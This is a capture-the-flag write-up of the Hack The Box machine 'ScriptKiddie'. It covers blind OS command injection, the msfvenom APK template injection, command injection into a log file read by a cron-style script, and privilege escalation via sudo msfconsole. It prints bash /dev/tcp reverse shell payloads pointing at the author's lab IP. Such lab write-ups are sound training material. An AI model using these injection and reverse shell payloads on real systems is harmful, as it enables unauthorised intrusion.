ScriptKiddie
Personal Rating: Medium
Last updated
Personal Rating: Medium
Last updated
nmap:
Werkzeug is a Python tool, so the website is based on Python.
I entered my IP for the nmap scan and checked with tcpdump -i tun0 src 10.10.10.226
and the server actually sends requests.
It looks like OS commands are used in the background, so I will try some OS command injections.
With '10.10.16.6; ping 10.10.16.6' at “payloads” I received the ping, so we have a blind OS command injection.
Payloads that worked:
Payloads that did not work:
Searching for Werkzeug shows this:
Werkzeug - 'Debug Shell' Command Execution | multiple/remote/43905.py
I changed the script to work with Python3, but it did not work. I checked for the /console folder and it is not present, so this exploit will not work.
Checking with Burp, a POST request is sent
Changing the action, we get json output:
Since I was stuck, I went to the guided mode. It appears there is a command injection for msfvenom. I honestly did not think about this, but it seems like even vulnerability exploitation tools can have vulnerabilities :)
Metasploit Framework 6.0.11 - msfvenom APK template command injection | multiple/local/49491.py
'/bin/bash -c "bash -i >& /dev/tcp/10.10.16.6/4444 0>&1"'
in it, I got a netcat shell on the box!
There is another user with interesting stuff in his homedir.
The script seems to run an nmap scan over all IPs in the log file and then clear the log.
ss -tlpn
shows no new open ports.
I transferred linpeas and pspy64 onto the host and ran it.
I added my public key to /home/kid/authorized_keys so I could ssh onto the host.
I found the application at /home/kid/html/app.py I will have a look at it.
This part is interesting:
We control the “srcip” through browser input and it is written to the file /home/kid/logs/hackers if it is not a valid IP. But we can write to the file as “kid" anyways.
Combined with the script /home/pwn/scanlosers.sh we can control which IPs are scanned by the script.
I could not find an obvious nmap injection vulnerability for the given version.
I added this to the hackers file:
To my surprise, the hackers file was empty after I left nano and I found the file sheesh.txt in /home/pwn/ owned by pwn.
Lets try this with a reverse shell.
127.0.0.1"; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.16.6/6666 0>&1’
The hackers file got cleared again, but I got no reverse shell
Failed payloads:
The script takes the third field of each line, delimited by space. So I have to create a payload that has no spaces and is at the third field.
I created a script /tmp/exploit.sh
This payload finally worked to get a reverse shell as the pwn user:
I think what I had to do here was to use bash -c and then the actual command. I also had to put it in $() instead of trying it directly.
Also this injection would not execute my script, I do not know why.
sudo -l
reveals that the user pwn can execute /opt/metasploit-framework-6.0.9/msfconsole as root without a password.
I ran sudo /opt/metasploit-framework-6.0.9/msfconsole
and started an interactive ruby shell with irb
This did not help me.
sudo /opt/metasploit-framework-6.0.9/msfconsole -x id
shew me the output of id, so this is the way to go. This worked to get a root shell:
With the exploit script and the payload